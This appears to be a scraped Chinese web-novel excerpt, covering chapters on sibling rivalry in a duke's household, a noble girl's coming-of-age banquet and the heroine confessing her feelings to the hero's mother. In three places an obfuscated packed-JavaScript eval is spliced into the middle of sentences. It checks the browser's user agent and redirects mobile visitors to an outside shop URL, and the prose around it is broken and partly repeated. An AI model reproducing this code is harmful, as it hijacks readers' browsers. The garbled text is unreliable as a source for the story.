金桐安了心，又问他：“吴嬷可有捎话给我？” 王盛宣夸张道：“何止捎话，还有一车东西呢！就连青苗，她老人家都想让我给你捎上。” 说到最后，他还把自己说笑了。 他在笑，金桐却哭了。 她眼眶越来越酸，眼泪大颗大颗地坠下来，忙抬手慌乱擦拭。 这下王盛宣也慌了，他跟着金桐一起手忙脚乱：“哎你，你别哭啊。” “青苗我没收，你放心，给吴嬷留着呢。其他大包小裹的我全装车上带来了，抽空我再给你送来。” 金桐一只手低头擦眼泪，一只手对他摆了摆，道：“我没事。” 苏礼明无声往金桐身旁凑了凑，两个人的手臂几乎挨到一起。 苏景明看在眼里，在后面露出一个耐人寻味的笑容。 待金桐止住眼泪，难为情道：“见笑了。” 苏景明贴心给她解围：“说起来，覃小姐的及笄礼就在后日，姐姐备好当日穿的衣裙和要送的礼品了吗？” 金桐早把这桩事忘在脑后，经苏景明这么一提醒，她才恍然发觉时间过得这么快。 “择日不如撞日，走吧，出去采买。” 40. 兄弟 晚间，国公府派人来叫两位公子回去用膳。 苏景明面上装作毫不在意，出了门就立刻换了脸色，皮笑肉不笑道：“只要兄长不争，我们还是至亲兄弟。” 苏礼明没有回答。 苏景明也不需要他回答，直接走到了前面，道：“兄长，请吧，别让父亲母亲久等了。” 国公府的奴仆对二位公子的不对付早就习以为常，低着头都不敢说话。 等到了国公夫妇面前，苏景明又变回了讨喜的小公子。 “父亲，母亲。” 苏国公斜眼看他们一眼，道：“回来了。” 一张四方桌，苏国公和赵氏各占两边，桌上剩下两个位子。苏景明直接走过去，在其中一个位子坐下，回头不忘招呼立在门口的苏礼明：“兄长快来，自家人还生分了不成？” “又打趣你兄长。”赵氏嘴上责备，眼里却满是纵容宠溺。 苏礼明在仅剩的那个位置落座。 国公府家教森严，讲究食不言寝不语，一顿饭吃得极为沉默，只能间或听见羹匙撞碗的清脆声响。 苏国公年岁上来，胃口无常，胃口好就吃得多些，胃口不好就吃得少些。今日他的胃口不算十分好，吃了往日六分饱就停下了，桌上三人也跟着他放了筷子。 在国公府，凡是都以苏国公唯尊，从来没有他停箸旁人还继续吃的道理。 苏国公用帕子沾了沾嘴，状若不经意提起：“监察院那个女学生，你们认识？” 苏景明道：“父亲问的可是金桐姐姐？她是兄长的朋友。” 金桐刚搬来那日，苏景明折腾的动静不小，苏国公和赵氏便知道后巷新来个邻居，且是监察院近年唯一的女学生。 这让人难免联想到邱监察的关系，他们夫妇二人便睁一只眼闭一只眼，持观望态度。 岭南之行，苏礼明带伤归来，听闻是替那女学生挡刀，他们不得不重视了。 “朋友？”苏国公一声冷哼，对这个说法颇有微词。 自己的儿子他还是了解的，苏礼明从来都是冷静自持，他可没见过他为谁差点豁出命去。 苏景明道：“对，朋友。就算兄长有什么意思，金桐姐姐还不愿意呢！” “呵。她眼光倒高。”苏国公冷笑。 赵氏见苏礼明没反驳，便知他是真有那个心思了，忧愁道：“上次花溪来咱们府上，景明叫不回你，也是因为那个金桐吧？” 苏礼明道：“与旁人无关，覃小姐看望的是母亲，我若在场，反而多余。” 赵氏嗔怪：“说的什么话，花溪待你之心，你又不是不知道。” 覃花溪有意，赵氏又一心撮合，苏礼明早已直言拒绝过几次，赵氏只当他还未定性，说出的话做不得真。 “你与花溪从小熟识，少年情谊，旁人岂能相比得了？” 在赵氏心里，不论出身还是样貌，覃花溪都是国公府长媳的不二人选，且覃花溪对苏礼明的心意她一直知晓，更觉得没人比覃花溪好。 苏礼明不愿违拗母亲，但婚姻大事不是儿戏，他不得不说清楚：“儿子不堪良配，请母亲为覃小姐另寻佳婿。” 这样的话赵氏听过太多了，并不能够让她放弃，想着儿子早晚知道门第的重要和岳家背景对国公府的助力，到时也就能松口了，若他对监察院那姑娘仍是喜欢，纳为贵妾也未尝不可。 苏国公对儿子身边的女人倒不关心，男子立于天地之间，岂能困囿于温柔之乡？若被一个女子绊住脚步，就不配做他苏千秋的儿子。 “你的行踪与私交，我从来懒得过问，相信你有分寸。但你记住，国公府自你曾祖父起从不站队，因此才能延绵百年荣光，”他目有深意地直视苏礼明，“你与监察院的交往太密切了。” 苏礼明道：“谨遵父亲教诲。” “行了，下去吧。”苏国公饭后困意上来，声调都变得懒洋洋的。 苏礼明兄弟从苏国公房中退出来。 苏景明脸色臭得厉害，“兄长，你还是这般得父亲看重。” 覃花溪也好，金桐也好，苏景明觉得父亲母亲眼里只看得到与苏礼明有关的事。明明他和也覃花溪一起长大，明明他也与金桐交好。 与覃花溪谈婚论嫁的是苏礼明，被提点不要与监察院走得太近的也是苏礼明。 一年之中苏礼明至少有半年不在国公府，长伴膝下的是他苏景明，但只要苏礼明一回来，总能把父亲和母亲的目光全部吸引到他身上。 “兄长，我样样做得好，仍比不过你，就因为你是长子吗？”苏景明既不服气，又委屈。 苏礼明道：“我从未想过与你争什么。” “是，我知道！”苏景明情绪崩塌，声音骤然大起来，“你拒绝家中安排是为我，少年离家也是为我……” “……正因为这样，我才更恨你。” 月光洒下来，苏礼明看到弟弟眼中一闪而过的水光。 苏景明看似狡黠讨巧，实则内心十分要强。 苏礼明见他快哭了，伸手想要拍拍他的肩膀。 苏景明“啪”地拍开他的手，力道大的惊人。 “从小到大你什么都不用争，自然有人会亲手捧到你面前，你却对那些不屑一顾。 你以为你离开了，那些东西就会轮到我？你在施舍我吗？你凭什么总是高高在上？” 苏礼明的手指蜷缩，被拍开的那只手不痛，只有火辣辣的灼烧感，从手背一路烧到他心里。 他与苏景明本是血脉至亲，却被权利和世俗分隔在最遥远的两端。 十数年也不曾走近一步。 月上中天，苏景明低垂着头，将失控的情绪深埋近黑暗里。 少倾，他粗暴地用袖子抹了一把脸，步履匆忙地扭身离开了。 苏礼明疲惫地注视着他慌乱的背影，直到看不见，才走了另一条路回房。 自此，苏景明消失整整一日，王盛宣来找金桐，见只有苏礼明自己在院子里，还纳闷问道：“小苏兄怎的没来？” 苏礼明未答，金桐笑着把话岔开。 又过一日，国公府应邀参加覃花溪的及笄礼，苏景明方重新露面，他对着苏礼明笑嘻嘻地喊兄长，仿佛前夜争吵从未发生过，只是一场记忆错乱的梦境。 尚书府高朋满座，苏国公含笑与同僚客套问好，赵氏不打扰他们，径自去后面找覃花溪的母亲高氏。 苏礼明和苏景明被留在原地。 苏景明不喜欢这种场合，尤其苏礼明还在场。 那些人若只见了他，先假惺惺地夸赞一番，接着便会问起苏礼明。 若他和苏礼明一同在场，他们眼里就只有苏礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868538|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明一个了，比如此刻。 他受冷落，偏还不能离开。 他在的时候人家好像瞧不见他，一旦他要走，那些人就好像忽然复明一样，又瞧得见他了。 曲意逢迎也好，阿谀奉承也罢，都与他无关。 那些字句如同蝇虫般挤进耳朵里，苏景明听得心烦，面上却还挂着得体浅笑。他站在错开苏礼明半个身位的位置，安安静静做陪衬。 这样的应酬不知还要持续多久，他的脸都要笑僵，忽然听到苏礼明道：“我与景明先行一步。” 苏景明起先是欣喜，走出一段路又反应过来：“我不会感激你。” 苏礼明无奈回头看他，不知他又起什么幺蛾子。 “你摆脱那群老头只是为了去找金桐姐姐。” 苏景明断言道，他才不信苏礼明是为了帮他。 这是争宠的劲儿又上来了，苏礼明拿这个弟弟没办法，道：“既然这么想，便不要跟着我，还不快去找你那些朋友们。” 苏景明从前是有些狐朋狗友在身边，比如在杏花楼见到的那几位。 他爱和他们凑在一块儿，也只是因为他们拿他当月亮捧着而已。 自从苏礼明回来之后，他与狐朋狗友鬼混的日子便少了，更多时候是与苏礼明和金桐黏在一起。 “你果然不是为了我。” 听完苏礼明的话，委屈酸涩再一次上涌，比之前来得更加强烈。 他就是在赌气，他只是想让苏礼明低个头、服个软而已。 苏礼明什么都不用做，却从来都得到的比他多。他忍不住去攀比，忍不住闹别扭，其实也只是想让苏礼明哄哄自己。 这样至少他还能在忌忮之心翻涌的时候安慰自己：不管旁人如何，所有人都捧着的兄长唯独把他捧在手心里。 可苏礼明从未哄过他。 从小到大，一次没有。 苏礼明宁愿舍下一切远走他乡，也不愿放下身段好好说句软话。 他总是清高地把本该属于他的东西拱手相让。 呸！谁稀罕他的施舍！ “景明！” 一声叫喊，远处一个小胖子兴冲冲地朝他们跑过来，正是狐朋狗友中的一员。杏花楼那次偶遇，小胖子还义愤填膺替苏景明出头。 覃尚书爱女心切，广宴宾客，与苏景明交好的公子少爷今日都在场。 可惜苏景明此刻心情不佳，连看他都不看，低喝道：“滚！” 小胖子当即止住步子，身体由于惯性前倾，堪堪站稳。 他的目光在他们两人之间转了几圈，便知这是吵得凶了。 他决定不在此时去触霉头，脚下换了个方向跑开，嘴里还应道：“好嘞！” 苏礼明看着小胖子离开的方向，心觉苏景明交的朋友还怪有趣的，嘴角也不由得上扬些许。 这落在苏景明眼里可了不得。 笑？他竟然还笑得出来？ 苏景明更觉气愤，胸口剧烈起伏，呼吸都因愤怒而加快了。 苏礼明转头便见苏景明红着眼的可怜模样。 又要哭了。 苏礼明无奈扶额，这么大的人，眼泪说来就来，果真比金桐娇气多了。 似是心有所感，金桐从侧面一条小路走出来，歪着头问道：“你们两个躲在这做什么？” 41. 宴上 金桐这一声问话把苏景明吓了一跳，他忙背过身偷偷擦眼泪。 别看他平时姐姐姐姐地撒娇，那只是争宠的必要手段，当不得真，动真格时他比谁都要面子。 苏礼明知道他这一点，便上前挡在他和金桐之间，将苏景明的身影遮得严实。 金桐这会儿品出些不寻常的味道，小声凑近问道：“我是不是来得不是时候？” 苏礼明还没说话，苏景明已经从他身后走出来。 他把自己拾掇得差不多，情绪收起得也快，“姐姐怎的一个人来这偏僻的地方？” 少年眼圈红红的，声音也哑哑的，一副受了屈还强颜欢笑的模样，看得金桐心都碎了。 苏景明想要强撑，她便如他所愿当作什么都没看出，道：“里面的夫人小姐我都不认识，一个人呆着无聊，来这边透透气。” 苏景明对金桐的话感同身受，他比谁都更懂坐冷板凳的感觉，低声道：“是很无聊。” 金桐道：“要是王盛宣在就好了，他最擅长应付这种场合。” 王盛宣虽然整日游手好闲，却深得王家祖辈真传，养成一身见人说人话，见鬼说鬼话的本事。 与那种投其所好的恭维不同，王盛宣不懂圆滑那一套，他心直口快，说出口的话必定发自肺腑。 这种天然的赤诚，却总是让人莫名心生好感。 恰如苏礼明与王盛宣的初次相遇，也正因为他身上的这种特质，两人由此结缘。 苏礼明道：“王兄于此道上确实造诣颇深。” 提起这个，苏景明便讲起王盛宣到达西京那一日：“姐姐和兄长走后，我闲来无事，便叫下人在院子里种上木槿，只等姐姐回来给姐姐一个惊喜。中途我不过回府片刻，再回来便见院中多了一个人，坐那大剌剌翘着腿和下人闲谈，才多大功夫，王兄就这样和他们打成一片，满院竟无一人驱赶他。” 我过去问他是谁，他一眼认出我与兄长眉眼相像，拉着我坐下，从他和兄长如何相识讲起，絮絮叨叨到他是怎么来到西京，我竟真听进去了。” 金桐忍俊不禁，这还真像王盛宣会做出来的事。 正笑着，前院穿来拉长声音的传报：“庄公公到——” 金桐道：“一位公公竟得如此大排场？” 覃尚书稳坐户部头把交椅，已是身居二品要职，在他之上的人屈指可数，便是从一品的苏国公也未得他如此相待。 苏礼明提醒她：“这位公公，你不觉得耳熟？” 自然耳熟，她可在庄这个姓氏上吃过大亏，庄嬷嬷的好女儿差点要了她的小命。 一位庄嬷嬷，一位庄公公，她还以为凑巧而已，看来其中当真有猫腻。 金桐问道：“好不容易拜托了庄嬷嬷的女儿，难道又来了个儿子不成？” “正是如此。”苏礼明点头道，“庄公公本是姓冯，后来认了庄嬷嬷作义母，特意改换了姓氏，随了庄嬷嬷。” 苏景明大概知晓兄长左臂的伤是如何来的，对金桐道：“姐姐小心，据我了解，庄公公不是喜爱酬酢的性子，他这一趟恐怕来者不善。” 金桐亦是作此想法，“我知晓。” 跟庄嬷嬷有关的人，应该很难对监察院怀有好意。 苏景明道：“压轴的人都来了，估计就快开宴，我们先回去吧。” 男席女席分隔两处，以水榭长廊为界，透过花影树丛，能隐约窥见彼此。 上首是尚书夫人孙氏、国公夫人赵氏和邱监察，各家的夫人小姐按照品次往下排列，金桐处于中间靠后的位置。 含苞待放的小姑娘一天变一个模样，不过一月没见，覃花溪便出落得更加貌美。 金桐与国公夫人赵氏素未谋面，却在众人之中一眼认出她。 原因无他，她的两个儿子与她实在太过相像了。 金桐觉得苏礼明五官中，眉眼最为出众，原来是随了他的母亲。 他整个人的气质是冷而清的，唯独眉眼温柔多情，恰好中和他身上这股冷冽的气质，衬得他温润如玉。 赵氏气度温和，和身边的人交谈着。 之前听覃花溪说她久病卧床，看来已经痊愈了。 只见她笑着对覃花溪说了什么，覃花溪听后扑到孙氏怀中，孙氏也拍了拍她的背，满眼疼爱，在覃花溪羞红着脸抬起头后，孙氏宠溺地刮了下她小巧的鼻头。 覃花溪与金桐初次碰面尚不足十五岁，却彰显出超乎她年纪的庄重气度来。外人面前再稳重得体的官家小姐，在母亲跟前也是个娇憨的小姑娘。 她们三个其乐融融，一派祥和，对比之下旁边的邱监察就稍显冷清了，她看到席位上的金桐，对其点头致意。 赵氏注意到邱监察细微的举动，看向席下，问道：“那姑娘就是监察院的金桐吧？大家都知道来了个女学生，邱监察何不叫她上来陪咱们说说话？” 邱监察道：“她不是喜欢热闹的性子，就让她一人呆着吧。” 邱监察却与金桐有话要说，不过不是此刻，更不在此处，她相信金桐会在合适的时机来找自己。 邱监察拒绝，赵氏也没觉得被拂面子，却是笑道：“邱监察对下属倒是格外体恤。” 时辰一到，覃花溪在众宾客的注视下行过三加三拜之礼，礼成开宴。 宴后，覃花溪身着银红大袖礼服，头戴海棠钗冠，矜傲站在金桐面前。 金桐浅笑表达祝贺：“恭喜覃小姐。” 为了搭配华服桂冠，覃花溪面上妆容浓艳，更显她容光倾城，鲜红的唇角勾起，满园鲜妍的花儿皆因之失色。 “金桐小姐合该恭喜我，需知今日之后，父亲母亲便可为我谋求婚姻之事了。” 覃花溪言之凿凿，看来尚书大人已经为她选定了人家。眼前的少女比自己还小上两岁，尚在初绽的时节，也许下次再见之时便为人妇了，金桐深感惋惜。 朝堂之上，姻亲之间，向来如此。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868539|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 金桐的黯然沉默落在覃花溪眼里，却令她会错了意。 她露出得胜的笑容，“金桐小姐难道不好奇父亲母亲为我相看的是何人？” 金桐没说话，她对这件事情并不感兴趣。 覃花溪却以为金桐在不甘心，道：“从我六岁起，每年的生辰心愿都是嫁与礼明哥哥为妻，到如今终能如愿了。” 金桐对此有些汗颜，却又心生怜惜，少女的心愿纯净美好，却也终要落空。 “过不了多久，礼明哥哥自会知晓。”覃花溪轻飘飘看了她一眼，“岭南的事情我听说了，礼明哥哥为保护你身负重伤。金桐小姐，还不明白吗？你带给礼明哥哥的只有危险，而我能带给他是整个尚书府的助力——容貌，出身，声誉，你无一处比得过我。” 国公府盛名在外却无实权，需要一个有权的岳家保驾护航；我父亲官居二品，也需要一个门第更高的同盟锦上添花，对于国公府与尚书府的姻亲关系，双方早已心照不宣，只待我及笄，今日礼成，好事不日将近了。” 以金桐对苏礼明的了解，他绝不会服从于双亲的安排，若非这样，他也不至于这么多年漂泊在外。 金桐不想在这样的日子泼她冷水，只道：“那便恭祝覃小姐往后的人生时时如意，事事顺心。” 覃花溪见金桐油盐不进，又道：“金桐小姐参加科考，抛头露面，确与我们这些循规蹈矩的女子不同，礼明哥哥当下被你吸引，我认了。他那样身居高位的人，见惯了名山大川，偶尔为野山浅泉驻足，实属正常，我不在乎。” 若真不在乎就不会专门来她面前说了，金桐无奈：“覃小姐专程来找我，就是为了说这些吗？” 金桐总算有了些反应，覃花溪夸张道：“金桐小姐莫不是以为我在示威？” 她嗤笑一声，语气傲然：“我素来不屑争风吃醋的行径，并且以我出身，也无需做那样的事。日后礼明哥哥承袭爵位，他的正妻只能是我尚书府覃花溪，这不仅关乎我们二人，更是关乎国公府与尚书府联结的大事，我与你说这些，不过是提醒你早日脱身，别将自己陷进去。” 若是月前覃花溪与她说这些话，她只会笑一笑，告诉覃花溪想多了。 但时至今日，她已经明确自己的心意，便知覃花溪好意，心中感动。 “覃小姐所言，我都记下了。”金桐应道，又问，“只是我有一事不明，若他日国公府袭爵之人非是苏礼明，覃小姐的心意还始终如一吗？” 覃花溪的感情热烈直白，同时也牵扯了太多利益，金桐好奇，覃花溪对她自己的心意究竟了解几分。 覃花溪高傲的脸上出现一瞬间的空白，金桐的问题她从未想过，从她幼时起，便认定了苏礼明是国公府今后的主人，她也将成为国公夫人。 不会有除此以外的情况发生。 覃花溪回答道：“何必庸人自扰？我只着眼于当下之事。” 金桐只道：“如此，我知晓了。” 43. 抓人 王盛宣一连消失十余日，就如同当初只见了一面就再无音讯的沈知之一般。 在此期间金桐去他落脚的住处寻过他，每一次都扑空，不禁纳闷这人到底在搞什么名堂。 苏礼明道：“王兄有自己的事忙，总不是坏事。” 金桐却不这样想，西京不乏险恶之徒，专爱坑骗他这样的大傻子，她越想越心惊，求苏礼明道：“帮我想想办法，我今天一定要见到他问清楚。” 苏礼明把任务下达给苏景明，苏景明敢怒不敢言，动员自己全部的人脉，终于在傍晚给他们带回消息：王盛宣在贵华楼参加西京商会的宴饮。 王盛宣初到京城，竟与商会扯上不浅的关联，处处透出古怪。一得消息，金桐直奔苏景明所说的贵华楼，马不停蹄地上了三楼。 靡靡之音飘荡在走廊上方，听得金桐太阳穴突突直跳，顺着乐声一路寻去，金桐推开门，屋内丝竹管弦之音瞬时消散。 屋内香气扑鼻，金桐侧头用帕子挡住，打了个喷嚏，目光逡巡之间，她看到舞姬怀里醉得不省人事的王盛宣，无名火蹭蹭往上冒。 西京有头脸的商户都在此处，有人脸色不悦，伸出食指指着金桐，狂言刚要出口，就被旁边的人死死捂住了嘴巴，对他摇了摇头——只因金桐身后那人。 苏景明倚着门框，双臂抱在胸前，一副看热闹的神态。 他趁着兄长不在西京的那些年，呼朋引伴横行霸道，他那张俊俏顽劣的脸，认识的人可不少。 舞姬见多识广，见金桐来势汹汹，当她是哪家来捉奸的夫人，个个缩着肩膀低垂着头，生怕自己入了金桐的眼。 金桐迈着大步子，停在王盛宣的小桌前，环着他的舞姬惊得一哆嗦，像被针扎了般，一把将王盛宣推开。 王盛宣睡地正沉，被人一推就不着力地往旁边倒去，额角不轻不重地磕在桌角，哼哼唧唧地转醒。 躺在地上仰视着金桐阴郁的脸，王盛宣感觉自己在做梦，他揉了揉眼睛，金桐模糊的脸依旧没消失。 “不可能，这一定是梦。”伸手要把自己掐醒，奈何醉酒的手软弱无力。把胳膊往舞姬那边伸过去，“你来。” 舞姬几乎快要魂飞魄散，颤巍巍地抬头，请示金桐的意思。 金桐道：“别留情。” 舞姬得了指令，撸起王盛宣的袖子，又尖又细的指甲像染了血，掐起胳膊内侧一块儿软肉，用力一扭，捻出一声鬼叫。 这下子王盛宣眼神清澈了几分，一边摩挲着被掐红的手臂，一边晃着脖子站起来，绕过矮桌，摇摇摆摆朝金桐走过去。 “不是梦吗？你怎么来了……” 他竟有脸问。 还不是担心他这个皮薄馅大的让人看着就好下口，被卖了恐怕还傻乐呵给人家数钱。 随着他的靠近，酒气差点熏金桐一跟头，她捂着鼻子恶狠狠道：“才来几天，就染上骄奢淫逸的毛病。”她被熏得上了头，自顾往外走，留一个后脑勺给他，“跟我回去。” 他脑袋里一团浆糊，只觉坠得慌。他没听清金桐说了什么，却凭经验断出她定是生气了，下意识反驳：“我没有……” 见金桐要走，他便要拽她回来，自己却失了重心，整个人扑到金桐背上，头歪靠在她肩膀。 如此近距离之下，金桐快被缭绕的酒臭熏晕了。好在苏礼明及时解救了她，把王盛宣架走。 王盛宣还伸手要抓金桐，苏礼明便用空闲的那只手与他交握，低声道：“王兄，安静些。” 王盛宣真就奇迹般地消停下来，金桐脸色不虞，对在场众人道：“人我带走了，不扰诸位雅兴。” 苏景明门神一样杵在那儿，无人敢拦金桐抓人，也没人敢开口替王盛宣说话，都眼睁睁看着烂醉如泥的王盛宣被拖拽走，不知他醒后要面临什么。 苏景明建议就近找个客栈先将人安置下，金桐摇头道：“客栈不方便，看他醉成这样，夜里肯定有的折腾，身边不能离开人，直接回我那儿吧。” 苏景明小心翼翼看兄长神色，“孤男寡女，这样不好吧……” 金桐道：“没什么不好的，就这么定了。” 马车颠簸，到了家门口，王盛宣先扶墙吐了一遭，金桐脸色更黑如锅底，又无法做到不管他，只能等他醒了酒再把账一起算了。 收拾好一间卧房，苏礼明帮着把王盛宣放到床上躺好。金桐打来温水，浸湿了手巾给他擦脸。在家凡事净有吴嬷和青苗照顾，她实在没什么伺候人的经验，搞得王盛宣不舒服，自己也一头汗。 苏礼明从门外进来，接过帕子，让她去一旁休息。 “你怎么没走？”金桐问道。 苏礼明将浸了谁的手巾拧干，随口答道：“和景明回去后，我放心不下王兄，回来看看。” 金桐笑道：“你们两个关系倒好。” 苏礼明没再说话，细致地将王盛宣清理了一遍，金桐端着醒酒汤进来的时候，苏礼明正扶王盛宣坐着漱口。 金桐把醒酒汤递给他，随口道：“你不像第一次照顾人。” 苏礼明把碗沿贴在王盛宣唇上，喂他小口小口地饮下，一滴未洒。空碗还给金桐，他道：“景明小时候生病，不喜旁人近身，多是我在照顾。” “毛病忒多。”金桐评价。 苏礼明笑笑，催她：“时候不早，王兄这边我来看顾，你明日还要上值，该歇息了。” 金桐受苏礼明帮助颇多，不好意思道：“那王盛宣就拜托你了，我去把隔壁收拾出来，你凑合一宿。” 苏礼明拦住她，道：“不用麻烦，我在矮榻上睡就好，夜里有什么声音，也能及时听见。” 金桐认为他说得有理，从隔壁抱来一床被褥在矮榻铺好，之后留言道：“你若应付不来他，一定要叫我。”而后回屋睡去。 翌日上值，金桐起得早，去隔壁瞧了瞧，桌上茶壶冒着热气，苏礼明坐着拿了本书看，床上的王盛宣睡得如同死猪一般。 “这酒劲儿够大的。”金桐嗤笑道，又问苏礼明，“他昨夜没闹你吧？” 苏礼明把手中的书合了放在桌上，答：“王兄夜里睡得很安稳。” 金桐要去上值，没再多交流，梳洗毕便离了家，和从后门出来的苏景明装个照面，她脚步不停，道了声：“早。” “等等。”苏景明叫住她，试探问，“我今晨起来便没见兄长，姐姐可知兄长去向？” 他早就问了府内一众仆从，都说清早没见大公子出门，苏景明有理由怀疑兄长昨夜根本没宿在府内。 “他在我院里，你去找吧。” 果真如他所想一般，苏景明瞳孔震了又震，“他，你，你们……不成体统。” “你兄长担心王盛宣，照顾了他一晚。”金桐急匆匆解释道，“没时间了，我得赶紧走，你自己去看吧。” 金桐踩着时间赶到监察院。 自从岭南回来，彭昱和周子衡便主动和她左右两边的人换了位子，现在这二位大将分别坐在她两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868541|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧，给她夹在中间。 先是彭昱瞧见她，贼眉鼠眼地对她做了个口型：“学士不在，快过来。” 偷偷摸摸去到位子上，彭昱道：“特意说过今日要早到，你怎的还迟到？” 金桐跟他解释不清，讪笑过关，凑近悄声问他：“学士们人呢？” 彭昱道：“俱被邱监察叫走了。” 话音刚落，各位学士便接连着回来。 “诸位，先把手头的工作放下。”张学士清了清嗓子道，顺河水患的恶果延绵之今日，仍未得到妥善解决，百姓生活凄苦，朝廷号召各方捐款，我们监察院应当仁不让。” 说完，他的目光对对视上鬼鬼祟祟的金桐，金桐心虚地埋下头，生怕迟到的事情被当中发作。 张学士点点她，道：“你来统计捐款数额。” 几位学士以身作则，各自捐赠百两做出表率，金桐提起笔，不分排名先后，登记在一张空包名单上。 彭昱用笔杆戳戳金桐的胳膊，道：“我捐三十两。” 金桐小声问他：“日子不过了？” 彭昱的家境她了解，总归摆不脱“贫寒”二字。三十两整，却刚好是他来到监察院一月的俸禄，他当真一点儿也没给自己留后路。 彭昱道：“没事，反正过两天就发下月俸禄，挺挺就过去了。” 金桐小声赞道：“此等觉悟，吾辈惭愧。” 彭昱得了褒奖，美滋滋地继续埋首公文。 周子衡对金桐道：“我捐六十两。” 彭昱立刻闻声抬头，杀过去一个不满的眼色，“你怎么总压我一头？” 周子衡笑笑没说话，金桐对着彭昱安抚一阵，好说歹说劝他收回了也捐六十两的心思。 统计完毕，金桐整理好名单和银钱总数，便去找到邱监察。 邱监察拿着名单仔细阅览，目光扫过金桐名字的时候略微顿住，眉头动了动。 金桐以为名单哪里有问题，整个人不免忐忑，脑中不断回忆着来此之前的种种细节。 她虽不明问题出在何处，却准备好了接受问责，却见邱监察轻飘飘把她交上去的名单放在一方，从一摞公文抽出另一份名单来。 “这是户部统计的商会款额，你看看。” 金桐接过，挨个看去，露出一个不明所以的神情。 邱监察言简意赅道：“太少了。” 名单所列皆为加入商会的商户，每日营收如流水，一年的利润绝技不会低于千两白银，更有甚至乃至万两白银，但其中捐赠最多的也不过五百两。 金桐道：“既是自愿赠予，多了少了都是善举，不好挑剔人家。” “那些商贾好日子过得太久了，个个都养成了拔不下毛的铁公鸡。”邱监察笑了，“谁跟他们讲自愿？百姓性命在前，我今日偏要明抢。” 那份名单被当场打回，金桐得到邱监察的手令，又听她说道：“去找户部要钱，随便他们去偷去抢去借，低于十万两就不要呈上来。这么几个子他们也好意思交差，当是在打发要饭的？” 金桐尴尬地立在原地，无奈地领了命，琢磨怎么完成这一桩差事。邱监察说的气话，她总不能如实跟户部的人转述，但若转达不到位，又怕耽误了筹款的进程。 她认命地往外走，步履沉重，深感自己是那铁锅上的烙子，两面受着煎熬。 连背影都垂头丧气，邱监察声带笑意地叫住她，终是给她指了条明路：“去找国公府的大公子，他能帮你。” 44. 赵氏 金桐领命回了家，离老远见一妇人在自家门口徘徊，她忙走近，瞧清是有过一面之缘的国公夫人赵氏。 赵氏似是对她的归来感到意外，但也只是一瞬，旋即回复从容神态。 “金桐小姐，可否借一步说话。” 金桐虽身有要事，但不好拒绝长辈的邀约，尤其这位长辈还是苏礼明和苏景明的生母。 她们二人往旁行了一段，这条巷子本就是国公府后巷，日常没什么人来往，说话也方便。 “咱们做了许久的邻居，我还未拜访过，希望小姐不要觉得怠慢。” 金桐忙道：“论资论辈都应是我主动拜访夫人。” 赵氏摇摇头，笑道：“上次在花溪的及笄礼还是第一次见面，不知小姐记不记得，虽是远远的一面，我对小姐却是喜欢得紧。” 迟来的喜欢令金桐嘴角抽动，赵氏却面色如常，金桐直言道：“多谢夫人夫人青睐，但不知夫人找我是有何事？若有可为夫人效劳的，金桐定当尽力而为。” 赵氏被她的爽朗鼓舞，便不再兜圈子，道：“我却有一事有求于小姐。” 金桐道：“夫人请讲。” 赵氏慈爱宽容地笑着：“金桐小姐行事不拘小节，但……实不相瞒，花溪那孩子我看着长大，和礼明情投意合。说来是我教子无方，礼明他为人处世不够端庄，日后我会多加规训，总不会委屈了花溪。” 字字句句不提她，却都是对她的敲打。金桐明白，赵氏是怪她和苏礼明走得太近了。她不羞也不恼，得体又磊落，等待赵氏对她的最后通牒。 赵氏说话时便观察着她的脸色，一时间却看不出什么，只能继续道：“我为人母，希望你能体谅我，远离我的儿子。” 话已说到此处，金桐歉然道：“夫人，这件事我做不到。” 赵氏被直接拒绝，有些不悦：“你方才说的尽力而为，是哄骗我不成？我又不是让你就此与礼明反目，你只需在他找你的时候，多拒绝他几次，久而久之他也就淡了。” 金桐却问道：“夫人瞩意覃小姐，可曾问寻过您儿子本人的意见？据我观察，令郎对覃小姐并无男女情谊。” 赵氏有些恼怒她置喙自己的家事，道：“自古以来婚姻大事都是父母之命，媒妁之言，礼明现在看不见花溪的好，日后也会明白她，感情都是慢慢培养的。该说的话我都说尽了，我不愿与你一个小姑娘为难，也请你自重。” 金桐不想赵氏对她怨气这样大，沉默半晌。赵氏以为自己话说得重了，又心中懊悔，说话软了些：“我没有责怪你的意思。” 她们两个说话并没走远，就在院墙下，苏礼明听到墙外窸窸窣窣的声音，便出来看。 他手刚搭在门上，便听墙外的金桐道：“夫人，我心悦苏礼明，实在无法答应您的要求。” 苏礼明默默收回手。 “你……”赵氏震惊于金桐言语之大胆，“你们两个到底怎么回事！” 看似平静的金桐实则快疯了！ 她竟然直接对人家的母亲剖白了心迹！ 